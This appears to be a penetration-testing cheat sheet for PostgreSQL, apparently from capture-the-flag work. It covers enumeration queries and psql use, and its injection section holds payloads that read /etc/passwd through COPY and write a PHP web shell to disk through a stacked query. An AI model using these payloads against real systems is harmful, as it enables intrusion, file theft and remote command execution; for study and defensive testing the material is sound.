PostgreSQL (5432)

Usage

PostgreSQL stores metadata in tables beggining with pg_.

Version

SELECT version();

Current User

SELECT current_user;

Databases

SELECT datname FROM pg_database;

Tables

// Query only user-created tables (excluding `pg_` tables)
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public';

Columns

SELECT column_name, data_type FROM <database>.information_schema.columns WHERE table_name='<table>'

We can connect via CLI with psql.

Connect

psql -h 127.0.0.1 -U postgres

# Listing dbs
postgres=# \l
# Connecting to a db
postgres=# \c cozyhosting
# Listing tables
cozyhosting=# \dt
# Dumping data
cozyhosting=# select * from users;

SQLi

Read/Write

• COPY FROM -> insert data into a table from a file (the PostgreSQL process must have read access to the file and the user making the query permissions to create a new table).

// example using stacked queries
create table tmp(data text); // create the table tmp with one column named data
copy tmp from '/etc/passwd'; // copy the file contents into the tmp table
select * from tmp; // select all data from the tmp table

• COPY TO -> copy data to a file from a table (the PostgreSQL process must have write permissions to the directory where the file will be created).

1';copy(select '<?php passthru($_GET["cmd"]);?>') to '/var/tmp/cmd.php';-- -

• pg_read_file() -> instead of inserting the results into a table, it just returns a single field containing all the data (useful if the PostgreSQL process has read access on the file, but the user querying don't have permissions to create a new table).

SELECT pg_read_file('/var/tmp/proof.txt');